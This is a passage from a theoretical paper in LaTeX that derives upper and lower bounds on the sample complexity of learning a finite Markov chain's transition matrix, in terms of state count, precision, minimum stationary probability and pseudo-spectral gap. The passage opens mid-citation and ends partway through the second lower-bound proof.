(see, e.g., \citet{MR1741038}).
This paper deals with learning the transition probability parameters
of a finite Markov chain
in the minimax setting.
The Markov case
is much less well-understood than the iid one.
The main additional complexity introduced by the Markov case on top of the iid one
is that not only the
state space size $d$ and the precision parameter $\eps$,
but also
the chain's mixing properties
must be taken into account.
\paragraph{Our contribution.}
Up to logarithmic factors,
we
compute
(apparently the first, in {\em any} metric)
finite sample
PAC-type minimax sample complexity
for the learning problem in
the Markovian setting, which
seeks to recover,
from a single long run of an unknown Markov chain,
the values of its transition matrix
up to a tolerance of $\eps$ in a certain natural TV-based metric
$\TV{\cdot}$
we define below.
We obtain upper and lower bounds on the sample complexity
(sequence length)
in terms of $\eps$, the number of states,
the stationary distribution,
and the
spectral gap of the Markov chain.
\section{Main results}
\label{sec:main-res}
Our definitions and notation are mostly standard, and are
given in Section~\ref{sec:defnot}.
Since the focus of this paper is on
statistical
rather than
computational
complexity,
we defer
the (straightforward) analysis of
the runtime of
our learner to the Appendix, Section~\ref{sec:algs}.
\subsection{Minimax learning results}
\begin{theorem}[Learning sample complexity upper bound]
\label{thm:learn-ub}
There exists an $(\eps,\delta)$-learner
$\LL$
(provided in Algorithm~\ref{alg:learn}),
which,
for all $0 < \eps < 2$, $0 < \delta < 1 $,
satisfies the following.
If $\LL$ receives as input
a sequence $\X=(X_1,\ldots,X_m)$
of length at least
$\lsc\ub$
drawn according to
an unknown $d$-state Markov chain $(\mc,\bmu)$,
then it
outputs $\hat\mc=\LL(d, \X)$
such that
\beq
\TV{\mc - \hat{\mc}} < \eps
\eeq
holds with probability at least $1-\delta$.
The sample complexity is upper-bounded by
\beq
\lsc\ub
&:= \clearn \cdot \max \set{ \cfrac{1}{\pssg \pimin} \log{\left(\cfrac{d\sqrt{\Pimu}}{\delta} \right)} , \cfrac{d}{\eps^2 \pimin} \log{\left(\cfrac{d}{\delta}\right)} }
= \tilde{O} \left( \max
\left\{
\cfrac{d}{\eps^2 \pimin }
,
\cfrac{1}{\pssg \pimin}
\right\} \right)
,
\eeq
where
$\clearn$ is a universal constant,
$\pssg$ is the
\emph{pseudo-spectral gap} (\ref{eq:pseudo-gamma-def})
of $\mc$,
$\pimin
$
the minimum stationary probability (\ref{eq:pistar-def}) of $\mc$,
and
$\Pimu
\le1/\pimin
$
is defined in (\ref{eq:Pimu-def}).
\end{theorem}
The proof shows that for reversible $\mc$, the bound also holds with the
spectral gap (\ref{eq:gamma-def})
in place of the {pseudo-spectral gap}.
\begin{theorem}[Learning sample complexity lower bound]
\label{thm:learn-lb}
For every
$0 < \eps < 1/32$,
$0 < \pssg < 1/8$,
and $d=6k$, $k
\ge2
$,
there exists
a $d$-state Markov chain $\mc$
with
pseudo-spectral gap $\pssg$ and stationary distribution $\bpi$ such that
every
$(\eps,1/10)$-learner
must require in the worst case
a sequence $\X=(X_1,\ldots,X_m)$
drawn from the unknown $\mc$
of length at least
\beq
\lsc\lb
:=
\Omega \left( \max\set{ \frac{d}{\eps^2\pimin}, \frac{\log d}{\pssg \pimin}
} \right),
\eeq
where $\pssg, \pimin$ are as in Theorem~\ref{thm:learn-ub}.
\end{theorem}
The proof of Theorem~\ref{thm:learn-lb}
actually yields a bit more than claimed in the statement.
For any
$\pimin \in \oclprn{0, 1/d}$,
a Markov chain $\mc$ can be constructed that achieves the
$\frac{d}{\eps^2\pimin}$ component of the bound.
Additionally,
the
$\frac{1}{\pssg \pimin}$ component
is achievable by a class of {\em reversible} Markov chains
with spectral gap $\sg = \Theta(\pssg)$, and uniform stationary distribution.
Although the sample complexity $\lsc\ub$ depends on the pseudo-spectral gap $\pssg$
and minimal stationary probability $\pimin$ of the unknown chain,
these can be efficiently estimated with finite-sample data-dependent confidence intervals
from a single trajectory both in the reversible \citep{hsu-mixing-ext},
and even in the non-reversible case \citep{wolfer2019mixing}.
The form of the lower bound $\lsc\lb$ indicates that in some regimes,
estimating the pseudo-spectral gap up to constant multiplicative error,
which requires $\tilde{\Omega} \paren{\frac{1}{\pssg \pimin}}$,
is as difficult as learning the entire transition matrix
(for our choice of metric $\TV{\cdot}$).
We stress that our learner only requires ergodicity (and not, say, reversibility) to work.
Our results also
indicate
that
the transition matrix
may be estimated to
precision $\eps = \sqrt{\pssg d}$ with sample complexity $\tilde{O} \left( \frac{1}{\pssg \pimin} \right)$, which is already relevant for slowly mixing Markov chains.
For this level of precision in the reversible case,
in light of \citet{hsu-mixing-ext},
one also obtains estimates on
$\sg$ and $\pimin$
with no increase in sample complexity.
Finally,
even though the upper bound formally depends on the unknown
(and, in our setting, not learnable)
initial distribution $\bmu$, we note that (i) this dependence is logarithmic
and (ii) an upper bound on $\Pimu$ in terms of the learnable quantity $\pimin$
is available.
\subsection{Overview of techniques}
The upper bound for learning in Theorem~\ref{thm:learn-ub}
is achieved by
the mildly smoothed maximum-likelihood estimator given in
Algorithm~\ref{alg:learn}.
If
the stationary distribution
is
bounded away from $0$,
the chain will
visit each state a constant fraction
of the total sequence length.
Exponential concentration (controlled by the spectral gap)
provides high-probability confidence intervals about the expectations.
A technical complication is that the empirical distribution
of the transitions out of a state $i$, conditional on the number of visits
$N_i$
to that state, is not binomial but actually rather complicated
--- this is due to the fact that the sequence length is fixed
and so a large value of $N_i$ ``crowds out'' other observations.
We overcome this via
a matrix version of Freedman's inequality.
The factor $\Pimu$ in the bounds quantifies
the price one pays for not assuming (as we do not)
stationarity
of the unknown Markov chain.
Our chief technical contribution is in establishing
the sample complexity
lower bounds for the Markov chain learning problem.
We do this by constructing two different independent lower bounds.
The
lower bound in $\tilde{\Omega}\left( \frac{1}{\pssg \pimin} \right)$ is derived
successively by a covering argument
and
a classical reduction scheme to a collection of testing problems
using
a class of Markov chains
we
construct,
with
a carefully controlled spectral gap.\footnote{The family of chains
used in the lower bound of \citet{hsu-mixing-ext} does not suffice
for our purposes; a considerably richer family is needed (see Remark~\ref{rem:HSK}).
}
The latter can be estimated via Cheeger's inequality,
which gives
sharp
upper bounds but
suboptimal lower bounds
(Lemma~\ref{lemma:cheeger-constant}).
To get the correct order of magnitude, we use a
contraction-based argument.
The Dobrushin contraction coefficient $\kappa(\mc)$, defined in (\ref{eq:dobr}),
is in general a much cruder indicator of the mixing rate
than
the spectral gap $\sg$, defined in
(\ref{eq:gamma-def}). Indeed,
$1-\sg\le\kappa$
holds for all reversible $\mc$
\citep[pp. 237-238]{bremaud99},
and for some ergodic $\mc$, we have $\kappa(\mc)=1$ (in which case it yields no information, since
the latter holds for non-ergodic
$\mc$
as well).
This is in fact the case for the families of Markov chains we construct in the course
of proving Theorem \ref{thm:learn-lb}.
Fortunately, in both cases, even though $\kappa(\mc)=1$,
it turns out that $\kappa(\mc^2)<1$,
and coupled with the contraction property
(\ref{eq:mark-conc}),
our bound on $\kappa(\mc^2)$
actually yields an optimal estimate of $\pssg$.
Although the calculation
of $\kappa(\mc^2)$ in
Lemma~\ref{lemma:dobrushin-coefficient}
is
computationally intensive,
the contraction coefficient is, in general,
more amenable to analysis
than the eigenvalues directly, and hence this technique
may be of independent interest.
The lower bound in $\Omega\left( \frac{d}{\eps^2 \pimin} \right)$
arises from the idea that learning the whole transition is at least
as hard as learning the conditional distribution of one of its states.
From here, we design a class of matrices where one state is
both
hard to reach
and difficult to learn,
by
constructing
mixture of
indistinguishable distributions for that particular state,
and indexed by a large subset of the binary hypercube.
We
express the statistical distance between words of length $m$
distributed according to different matrices of this class in
terms of $\pimin$ and the KL divergence between the
conditional distributions of the hard-to-reach state,
by taking advantage of the structure of the class,
and invoke an argument from Tsybakov to conclude ours.
\subsection{Related work}
Our Markov chain learning setup is a natural extension
of the PAC distribution learning model of \citet{DBLP:conf/stoc/KearnsMRRSS94}.
Despite the plethora of literature on estimating Markov transition matrices
(see, e.g., \citet{Billingsley61,craig2002estimation,welton2005estimation})
we were not able to locate
any rigorous finite-sample PAC-type results.
The minimax problem has recently received some attention,
and \citet{haoorlitsky2018} have, in parallel to us, shown the first minimax learning bounds,
in expectation,
for the problem of learning the transition matrix $\mc$ of a Markov chain
under a certain class of divergences.
The authors consider the case where
$\min_{i,j} \mc(i, j)\ge\alpha > 0$,
essentially showing that for
some family of smooth $f$-divergences,
the expected risk is
$
\Theta \left( \frac{d f''(1)}{m \pimin} \right)$.
The metric used in this paper is based on TV, which corresponds
to
the $f$-divergence
induced by
$f(t) = \frac12 \abs{t-1}$, which is not differentiable at $t = 1$.
The results of \citeauthor{haoorlitsky2018}
and the present paper
are complementary and not directly comparable.
We do note that
(i) their guarantees are in expectation
rather than with high-confidence,
(ii) our TV-based metric is not covered by their
smooth
$f$-divergence family,
and most important
(iii) their notion of mixing is related to contraction
as opposed to the spectral gap.
In particular the $\alpha$-minorization assumption implies (but is not implied by)
a bound of $\kappa\le1-d\alpha$ on the Dobrushin contraction coefficient (defined in (\ref{eq:dobr});
see \citet[Lemma 2.2.2]{kont07-thesis} for the latter claim).
Thus, the family of $\alpha$-minorized Markov chains is strictly contained in the family of
contracting chains, which in turn is a strict subset of the ergodic chains we consider.
\section{Definitions and notation}
\label{sec:defnot}
We define
$[d]:=\set{1,\ldots,d}$ and use $m$ to denote the size of the sample received by the Markov learner.
The simplex of all distributions over $[d]$ will be denoted by $\Delta_d$,
and the collection of all
$d\times d$ row-stochastic
matrices by $\M_d$.
For $\bmu\in\Delta_d$, we will write either $\bmu(i)$ or $\mu_i$, as dictated by convenience.
All vectors are
rows
unless indicated otherwise.
We assume familiarity with basic Markov chain concepts (see, e.g., \citet{MR0410929,levin2009markov}).
A Markov chain $(\mc,\bmu)$ on $d$ states is specified
by
an initial distribution $\bmu\in\Delta_d$
and a
transition
matrix $\mc\in\M_d$ in the usual way.
Namely, by $(X_1,\ldots,X_m)\sim(\mc,\bmu)$, we mean that
\beq
\prob{(X_1,\ldots,X_m)=(x_1,\ldots,x_m)}=\bmu(x_1)\prod_{t=1}^{m-1}\mc(x_t,x_{t+1}).
\eeq
We write $\probm{\mc,\mu}{\cdot}$ to denote
probabilities
over sequences
induced by
the Markov chain
$(\mc,\bmu)$,
and omit the subscript when it is clear from
context.
The Markov chain
$(\mc,\bmu)$
is {\em stationary} if $\bmu=\bpi$ for $\bpi=\bpi\mc$,
and {\em ergodic} if $\mc^k>0$ entrywise for some $k\ge1$.
If $\mc$ is ergodic,
it has a unique stationary distribution $\bpi$ and moreover $\pimin>0$, where
\beqn
\label{eq:pistar-def}
\pimin = \min_{i\in[d]}\bpi(i)
.
\eeqn
Unless noted otherwise, $\bpi$ is assumed to be the stationary distribution of the
Markov chain in context. To any Markov chain $(\mc,\bmu)$, we associate
\beqn
\label{eq:Pimu-def}
\Pimu := \sum_{i \in [d]} \bmu(i)^2/\bpi(i)
,
\eeqn
which is always $\Pimu \le {1}/{\pimin}$.
A {\em reversible}
$\mc\in\M_d$ satisfies {\em detailed balance} for some distribution $\bmu$:
for all $i,j\in[d]$,
$\bmu(i)\mc(i,j)=\bmu(j)\mc(j,i)$ --- in which case $\bmu$ is necessarily the unique stationary distribution.
The eigenvalues of a reversible $\mc$ lie in $\oclprn{-1,1}$,
and these may be ordered (counting multiplicities): $1=\lambda_1\ge\lambda_2\ge\ldots\ge\lambda_d$.
The {\em spectral gap} is
\beqn
\label{eq:gamma-def}
\sg =
\sg(\mc)=1-\lambda_2(\mc).
\eeqn
\citet{paulin2015concentration}
defines the {\em pseudo-spectral gap} by
\beqn
\label{eq:pseudo-gamma-def}
\pssg := \max_{k \geq 1} \set{ \frac{\sg((\mc^\star)^k \mc^k)}{k} },
\eeqn
where $\mc^\star$ is the {\em time reversal} of
$\mc$, given by $\mc^\star(i,j):=\bpi(j)\mc(j,i)/\bpi(i)$;
the expression $\mc^\star\mc$ is called the
{\em multiplicative reversiblization} of $\mc$.
\begin{sloppypar}
We use the standard $\ell_1$ norm $\nrm{z}=\sum_{i\in[d]}|z_i|$,
which, in the context of distributions (and up to a convention-dependent factor of $2$)
corresponds to the total variation norm.
For $A\in\R^{d\times d}$, define
\beqn
\label{eq:normdef}
\TV{A}:=
\max_{i\in[d]}\nrm{A(i,\cdot)}_1
=
\max_{i\in[d]}\sum_{j\in[d]}|A(i,j)|
\eeqn
(we note, but do not further exploit,
that $\TV{\cdot}$ corresponds to the $\ell_\infty\to\ell_\infty$ operator norm \citep{horn-johnson}).
For any
$\mc\in\M_d$,
define its {\em Dobrushin contraction}
coefficient
\beqn
\label{eq:dobr}
\kappa(\mc) =
\frac{1}{2} \max_{i,j \in [d]} \tv{\mc(i, \cdot) - \mc(j, \cdot)};
\eeqn
this quantity is also associated with D\"oblin's name. The term ``contraction''
refers to the property
\beqn
\label{eq:mark-conc}
\tv{
(\bmu-\bmu')\mc
}
\le\kappa(\mc)\tv{\bmu-\bmu'}
,
\qquad
\bmu,\bmu'\in\Delta_d,
\eeqn
which was observed
by
\citet[$\mathsection$5]{mar1906}.
\end{sloppypar}
Finally, we
use standard $O(\cdot)$, $\Omega(\cdot)$ and $\Theta(\cdot)$
order-of-magnitude notation, as well as their tilde variants
$\tilde O(\cdot)$, $\tilde\Omega(\cdot)$, $\tilde\Theta(\cdot)$
where lower-order log factors are suppressed.
\begin{definition}
An $(\eps,\delta)$-{\em learner}
$\LL$
for Markov chains
with sample complexity function $m_0(\cdot)$
is an algorithm that
takes as input
$\X=(X_1,\ldots,X_m)
$
drawn from
some unknown Markov chain
$(\mc,\bmu)$,
and outputs
$\hat\mc=\LL(d, \X)$
such that
$m\ge m_0(\eps,\delta,\mc,\bmu)
\Rightarrow
\TV{\mc - \hat{\mc}} < \eps
$
holds with probability at least $1-\delta$.
\end{definition}
\noindent The probability is over the draw of $\X$
and
any internal randomness of the learner.
Note that
by Theorem~\ref{thm:learn-lb},
the learner's sample complexity must necessarily depend on
the properties of
the unknown Markov chain.
\section{Proofs}
\label{sec:proofs}
\begin{proof}[of Theorem~\ref{thm:learn-ub}]
We proceed to analyze Theorem~\ref{alg:learn},
and in particular, the
random variable
$\estmc(i, j) = \cfrac{\trans{i}{j}}{N_i}$
it constructs, where
$$N_i = \abs{\set{t \in [m-1]: X_t = i}}, \trans{i}{j} = \abs{\set{t \in [m-1]: X_t = i, X_{t+1} = j}}.$$ To do so, we make use of an adaptation of Freedman's inequality \citep{freedman1975tail} to random matrices \citep{tropp2011freedman}, which has been reported for convenience in the appendix as Theorem~\ref{theorem:matrix-freedman}. Define the row vector sequence $\Y$ for a fixed $i$ by
$$\Y_{0} = 0, \Y_{t} = \frac{1}{\sqrt{2}} \bigg(\pred{X_{t-1} = i} (\pred{X_t = j} - \mc(i,j)) \bigg)_{j \in [d]},$$
and notice that $\sum_{t=1}^{m} \Y_t = \frac{1}{\sqrt{2}} \left( \trans{i}{1} - N_i \mc(i, 1), \dots, \trans{i}{d} - N_i \mc(i, d) \right)$. We also have from the Markov property that $\E[\mc, \bmu]{\Y_{t} \gn \Y_{t-1}} = \zero$, so that $\Y_t$ defines a vector-valued martingale difference, and immediately,
\begin{equation}
\begin{split}
\Y_t \Y_t \trn &= \nrm{\Y_t}_2^2 = \sum_{j = 1}^{d} \left( \frac{1}{\sqrt{2}} \pred{X_{t-1} = i} (\pred{X_t = j} - \mc(i,j)) \right)^2 \\
&= \frac{1}{2} \pred{X_{t-1} = i} \sum_{j = 1}^{d} \pred{X_t = j} + \mc(i,j)^2 - 2 \cdot \pred{X_t = j} \mc(i,j) \\
& = \frac{1}{2} \pred{X_{t-1} = i} \left( 1 + \nrm{\mc(i,\cdot)}_2^2 - 2 \mc(i,X_t) \right) \leq \pred{X_{t-1} = i},
\end{split}
\end{equation}
so that $\W_{col, m} := \sum_{t=1}^{m} \E{ \Y_t \Y_t \trn \gn \filt_{t-1}} \leq \sum_{t=1}^{m} \pred{X_{t-1} = i} = N_i$, and $\nrm{\W_{col, m}}_2 \leq N_i$ as $\W_{col, m}$ is a real valued random variable. Construct now the $d \times d$ matrix $\Y_t \trn \Y_t$,
\begin{equation}
\begin{split}
\Y_t \trn \Y_t = \frac{\pred{X_{t-1} = i}}{2} \begin{pmatrix}
Z_{t, i, 1, 1} & Z_{t, i, 1, 2} & \cdots & Z_{t, i, 1, d} \\
Z_{t, i, 2, 1} & Z_{t, i, 2, 2} & \cdots & Z_{t, i, 2, d} \\
\vdots & \vdots & \vdots & \vdots \\
\vdots & Z_{t, i, j, k} & \vdots & \vdots \\
\vdots & \vdots & \vdots & \vdots \\
Z_{t, i, d, 1} & Z_{t, i, d, 2} & \cdots & Z_{t, i, d, d} \\
\end{pmatrix},
\end{split}
\end{equation}
with $Z_{t, i, j, k} = (\pred{X_t = j} - \mc(i,j)) (\pred{X_t = k} - \mc(i, k))$. Computing the row sums and column sums of this matrix in absolute value,
\begin{equation}
\begin{split}
\sum_{k = 1}^{d} \abs{Z_{t, i, j, k}} &= \abs{\pred{X_t = j} - \mc(i,j)} \sum_{k = 1}^{d} \abs{\pred{X_t = k} - \mc(i, k)} \leq \sum_{k = 1}^{d} \pred{X_t = k} + \sum_{k = 1}^{d} \mc(i, k) = 2 \\
\end{split}
\end{equation}
and similarly, $\sum_{j = 1}^{d} \abs{Z_{t, i, j, k}} \leq 2$. From
H\"older's inequality,
$\nrm{\Y_t \trn \Y_t}_2 \leq \sqrt{\nrm{\Y_t \trn \Y_t}_1 \cdot \nrm{\Y_t \trn \Y_t}_\infty} \leq \pred{X_{t-1} = i}$, and from the sub-additivity of the norm and Jensen's inequality $\nrm{\W_{row, m}}_2 := \nrm{\sum_{t=1}^{m} \E{ \Y_t \trn \Y_t \gn \filt_{t-1}}}_2 \leq \sum_{t=1}^{m} \E{ \nrm{\Y_t \trn \Y_t }_2 \gn \filt_{t-1}}$ , it follows that
$$\nrm{\W_{row, m}}_2 \leq \sum_{t=1}^{m} \E{ \sqrt{\frac{\pred{X_{t-1} = i} \cdot 2 }{2} \cdot \frac{\pred{X_{t-1} = i} \cdot 2}{2} } \gn \filt_{t-1}} \leq N_i.$$
Now decomposing the error probability of the learner, while choosing an arbitrary value $n_i \in \N$ for the desired number of visits to each state,
\begin{equation}
\begin{split}
\PR[\mc, \bmu]{\TV{ \mc - \estmc } > \eps} &\leq \sum_{i=1}^{d} \PR[\mc, \bmu]{ \nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_1 > \eps \text{ and } N_i \in [n_i, 3n_i] } \\
& + \PR[\mc, \bmu]{ \set{\exists i \in [d]: N_i \notin [n_i, 3n_i]} }
.
\end{split}
\end{equation}
Since
$
\nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_1 > \eps
\implies
\nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_2 > \frac{\eps}{\sqrt{d}}
$,
we have
\begin{equation}
\begin{split}
&\PR[\mc, \bmu]{ \nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_1 > \eps \text{ and } N_i \in [n_i, 3n_i] } \\
&\leq \PR[\mc, \bmu]{ \nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_2 > \frac{\eps}{\sqrt{d}} \text{ and } N_i \in [n_i, 3n_i] } \\
&= \PR[\mc, \bmu]{ \frac{\sqrt{2}\nrm{\sum_{t=1}^{m}\Y_t}_2}{N_i} > \frac{\eps}{\sqrt{d}} \text{ and } N_i \in [n_i, 3n_i] } \\
&\leq \PR[\mc, \bmu]{ \nrm{\sum_{t=1}^{m}\Y_t}_2 > \frac{\eps}{\sqrt{2d}} n_i \text{ and } N_i \leq 3n_i } \\
&\leq \PR[\mc, \bmu]{ \nrm{\sum_{t=1}^{m}\Y_t}_2 > \frac{\eps}{\sqrt{2d}} n_i \text{ and } \max \set{ \nrm{\W_{row, m}}_2, \nrm{\W_{col, m}}_2} \leq 3n_i } \\
&\leq (d+1) \cdot \expo{ - \frac{\eps^2 n_i^2}{2d(3n_i + \eps n_i/(3 \sqrt{2d}))}} \text{ (Theorem~\ref{theorem:matrix-freedman})}\\
&\leq 2 d \cdot \expo{ - \frac{\eps^2 n_i}{8d}}, \\
\end{split}
\end{equation}
and setting $n_i = \frac{m \pi_i}{2}$, it follows that for all $i \in [d]$, $\PR[\mc, \bmu]{ \nrm{\estmc(i, \cdot) - \mc(i, \cdot)}_1 > \eps \text{ and } N_i \in [n_i, 3n_i] } \leq 2 d \cdot \expo{ - \frac{\eps^2 m \pimin }{16d}}$, and finally, from Lemma~\ref{lemma:control-visits} (stated and proven in the appendix), which follows easily from \cite{paulin2015concentration}, it is possible to control the number of visits to states, such that for $m$ larger than $\frac{16 d}{\eps^2 \pimin} \ln\left( \frac{4 d^2}{\delta} \right)$, and $m \geq \frac{112}{\pssg \pimin} \log \left( \frac{2d \sqrt{\Pimu}}{\delta} \right)$ we have that $\PR[\mc, \bmu]{\TV{ \mc - \estmc } > \eps} \leq \delta$, and the upper bound is proven.
\end{proof}
\begin{remark}
Note that one can derive an upper bound $\tilde{O} \left( \frac{\max \set{1/\eps^2,1/\pssg }}{\pimin} \right)$ for the problem with respect to the max norm $\mnrm{\mc - \estmc} = \max_{(i,j) \in [d]^2} \abs{\mc(i,j) - \estmc(i,j)}$, by studying the entry-wise martingales and invoking the scalar version of Freedman's inequality \citep{freedman1975tail}. Similarly, since for $p \in [1, 2)$, it is the case that $\set{\nrm{x}_2 > \eps} \implies \set{\nrm{x}_p > d^{1/p - 1/2} \cdot \eps}$, we can derive the more general upper bound $\tilde{O} \left( \frac{\max \set{d^{2/p - 1}/\eps^2,1/\pssg }}{\pimin} \right) $ for the problem with respect to the norm $\TV{\mc - \estmc}_p = \max_{i \in [d]} \nrm{\mc(i, \cdot) - \estmc(i, \cdot)}_p$.
\end{remark}
\begin{proof}[of Theorem~\ref{thm:learn-lb} (part 1):
learning lower bound $\Omega\left( \frac{d}{\eps^2 \pimin} \right)$]
Let $0 < \eps < 1/32$, and $\M_{d, \pssg, \pimin}$ be the collection of all $d$-state Markov chains whose stationary distribution is minorized by $\pimin$ and whose pseudo-spectral gap is at least $\pssg$. The quantity we wish to lower bound is the minimax risk for the learning problem :
\begin{equation}
\label{eq:mmrisk}
\begin{split}
\mmrisk &= \inf_{\estmc} \sup_{\mc} \probm{\mc}{\TV{\mc - \estmc} > \eps},
\end{split}
\end{equation}
where the $\inf$ is taken over all learners and the $\sup$ over $\M_{d,\pssg,\pimin}$. Suppose for simplicity of the analysis that we consider Markov chains of $d+1$ states instead of $d$, and that $d$ is even. A slight modification of the proofs covers the odd case. We define the following class of Markov chains parametrized by a given distribution $\mathbf{p} \in \Delta_{d+1}$, where the conditional distribution defined at each state of the chain is always $\mathbf{p}$ with $p_{d+1} = p_\star$ and $p_k = \frac{1 - p_\star}{d}$ for $k \in [d]$, with $p_\star < \frac{1}{d+2}$, except for state $d+1$, where it is only required that it has a loop of probability $p_\star$ to itself.
\begin{equation}
\label{definition:G-p}
\G_{\mathbf{p}} = \set{
\mc_{\etab}
= \begin{pmatrix}
p_1 & \hdots & p_d & p_\star \\
\vdots & \vdots & \vdots & \vdots\\
p_1 & \hdots & p_d & p_\star \\
\eta_1 & \hdots & \eta_d & p_\star \\
\end{pmatrix} :
\etab = (\eta_1, \dots, \eta_d, p_\star) \in \Delta_{d+1}
}.
\end{equation}
Remark: a family of Markov chains very similar to $\G_{\mathbf{p}}$ was independently considered by \citet{haoorlitsky2018} for proving their lower bound.
\noindent It is easy to see that the stationary distribution $\bpi$ of an element of $\G_{\mathbf{p}}$ indexed by $\etab$ is
\begin{equation}
\pi_k = \frac{(1 - p_\star)^2}{d} + \eta_k p_\star, \text{ for } k \in [d], \qquad \pi_{d+1} = p_\star
\end{equation}
For $m \geq 4$, $\etab =(\eta_1, \dots, \eta_{d}, p_\star) \in \Delta_{d+1}$ and $(X_1, \dots, X_m) \sim (\mc_{\etab}, \mathbf{p})$, set $N_i = \abs{\set{t \in [m]: X_t = i}}$ the number of visits to the $i$th state. Focusing on the $(d+1)$th state, since $\forall i \in [d+1], \mc_{\etab}(i, d+1) = p_\star$, it is immediate that $N_{d+1} \sim \Binomial(m, p_\star)$. Introduce the subset of Markov chains in $\G_{\mathbf{p}}$ such that
$$\etab(\boldsymbol{\sigma}) = \left( \frac{1 - p_\star + 16 \sigma_1 \eps}{d}, \frac{1 - p_\star - 16 \sigma_1 \eps}{d}, \dots, \frac{1 - p_\star + 16 \sigma_{\frac{d}{2}} \eps}{d}, \frac{1 - p_\star - 16 \sigma_{\frac{d}{2}} \eps}{d} , p_\star \right),$$ where $\boldsymbol{\sigma} = \left( \sigma_1, \dots, \sigma_{\frac{d}{2}} \right) \in \set{-1, 1}^{\frac{d}{2}}$. Also define $\mc_0$ with $\etab_0 = \left( \frac{1 - p_\star}{d}, \dots , \frac{1 - p_\star}{d} , p_\star \right)$. A direct computation yields that for $\boldsymbol{\sigma} \neq \boldsymbol{\sigma}'$, $\nrm{\mc_{\boldsymbol{\sigma}} - \mc_{\boldsymbol{\sigma'}}}_1 = \frac{32 \eps}{d} d_H(\boldsymbol{\sigma}, \boldsymbol{\sigma}')$, where $d_H$ is the Hamming distance. From the Varshamov-Gilbert lemma, we know that $\exists \Sigma \subset \set{-1,1}^{d/2}$, $\abs{\Sigma} \geq 2^{d/16}$, such that $\forall (\boldsymbol{\sigma}, \boldsymbol{\sigma}') \in \Sigma$ with $\boldsymbol{\sigma} \neq \boldsymbol{\sigma}'$, $d_H(\boldsymbol{\sigma}, \boldsymbol{\sigma}') \geq \frac{d}{16}$. Restricting our problem to this set $\Sigma$, and finally noticing that $\forall \boldsymbol{\sigma} \in \Sigma, \nrm{\mc_{\boldsymbol{\sigma}} - \mc_{0}}_1 = 16 \eps > 2 \eps$, from Tsybakov's method \citep{tsybakov2009introduction} applied to our problem,
\begin{equation}\begin{split}
\mathcal{R}_m &\geq \frac{1}{2} \left( 1 - \cfrac{\frac{4}{2^{\frac{d}{16}}} \sum_{\boldsymbol{\sigma} \in \Sigma} \kl{\mc_{\boldsymbol{\sigma}}^m}{\mc_0^m}}{\log{2^{\frac{d}{16}}}} \right), \\
\end{split}\end{equation}
where we wrote $\kl{\mc_{\boldsymbol{\sigma}}^m}{\mc_0^m}$ to be the KL divergence between the two distributions of words of length $m$ from each of the Markov chains. Leveraging a tensorization property of the KL divergence, and as by construction, the only discrepancy occurs when visiting the $(d+1)$th state, Lemma~\ref{lemma:tensorization-kl} shows that
\begin{equation}
\label{eq:tensor}
\kl{\mc_{\boldsymbol{\sigma}}^m}{\mc_0^m} \leq p_\star m \kl{\etab(\boldsymbol{\sigma})}{\etab_0},
\end{equation}
following up with a straightforward computation,
\begin{equation}
\label{eq:kl-eta}
\begin{split}
\kl{\etab(\boldsymbol{\sigma})}{\etab_0} &= \frac{d}{2} \left( \frac{1 - p_\star + 16 \eps}{d} \right) \ln\left( \frac{\frac{1 - p_\star + 16 \eps}{d}}{\frac{1 - p_\star}{d}} \right) + \frac{d}{2} \left( \frac{1 - p_\star - 16 \eps}{d} \right) \ln\left( \frac{\frac{1 - p_\star - 16 \eps}{d}}{\frac{1 - p_\star}{d}} \right) \\
&\leq 128 \eps^2,
\end{split}\end{equation}
and finally combining \eqref{eq:mmrisk}, \eqref{eq:tensor} and \eqref{eq:kl-eta}, we get $\mathcal{R}_m \geq \frac{1}{2} \left( 1 - \cfrac{512 \eps^2 m p_\star}{\frac{d}{16} \ln{2}} \right)$. Further noticing that for the considered range of $\eps$ and for $p_\star < \frac{1}{d + 2}$, it is always the case that $\pimin = p_\star$, so that for $m \leq \frac{d (1 - 2 \delta) \ln {2}}{8192 \eps^2 \pimin}, \mmrisk \geq \delta$.
\end{proof}
\begin{proof}[of Theorem~\ref{thm:learn-lb} (part 2):
learning lower bound $\Omega\left( \frac{1}{\pssg \pimin} \right)$]
We treat $0<\eps\le1/8$ and
$d=6k$, $k\ge2$ as fixed.
For $\eta\in(0,1/48)$
and $\btau\in\set{0,1}^{d/3}$,
define
the
block matrix
\beq
\mc_{\eta,\btau}
=
\begin{pmatrix}
C_\eta & R_{\btau} \\
R_{\btau}\trn & L_{\btau}
\end{pmatrix}
,
\eeq
where
$C_\eta\in\R^{d/3\times d/3}$,
$ L_{\btau} \in\R^{2d/3\times2d/3}$,
and
$R_{\btau} \in\R^{d/3\times 2d/3}$
are given by
$$
L_{\btau} = \frac{1}{8} \diag\left( 7 - 4 \tau_1 \eps, 7 + 4 \tau_1 \eps, \dots, 7 - 4 \tau_{d/3} \eps, 7 + 4 \tau_{d/3} \eps \right)
,$$
\beq
C_\eta
=
\begin{pmatrix}
\frac{3}{4} - \eta & \frac{\eta}{d/3 - 1} & \hdots & \frac{\eta}{d/3 - 1} \\
\frac{\eta}{d/3 - 1} & \frac{3}{4} - \eta & \ddots & \vdots \\
\vdots & \ddots & \ddots & \frac{\eta}{d/3 - 1} \\
\frac{\eta}{d/3 - 1} & \hdots & \frac{\eta}{d/3 - 1} & \frac{3}{4} - \eta \\
\end{pmatrix}
,
\eeq
\beq
R_{\btau} = \frac{1}{8}
\begin{pmatrix}
1 + 4 \tau_1 \eps & 1 - 4 \tau_1 \eps & 0 & \hdots & \hdots & \hdots & 0 \\
0 & 0 & 1 + 4 \tau_2 \eps & 1- 4 \tau_2 \eps & 0 & \hdots & 0 \\
\vdots & \vdots & \vdots & \vdots & \vdots & \vdots & \vdots \\
0 & \hdots & \hdots & \hdots & 0 & 1 + 4 \tau_{d/3} \eps & 1- 4 \tau_{d/3} \eps \\
\end{pmatrix}
.
\eeq
Holding $\eta$ fixed, define the collection
\beqn
\label{eq:Heta}
\H_\eta=\set{\mc_{\eta,\btau}:\btau\in\set{0,1}^{d/3}}
\eeqn
of Markov matrices.
Denote by $\mc_{\eta,\zero}\in\H_\eta$
the element corresponding to $\btau=\zero$.
Note that every $\mc\in\H_{\eta}$
is
ergodic
and
reversible,
and its unique stationary distribution is uniform.
A graphical illustration\footnote{
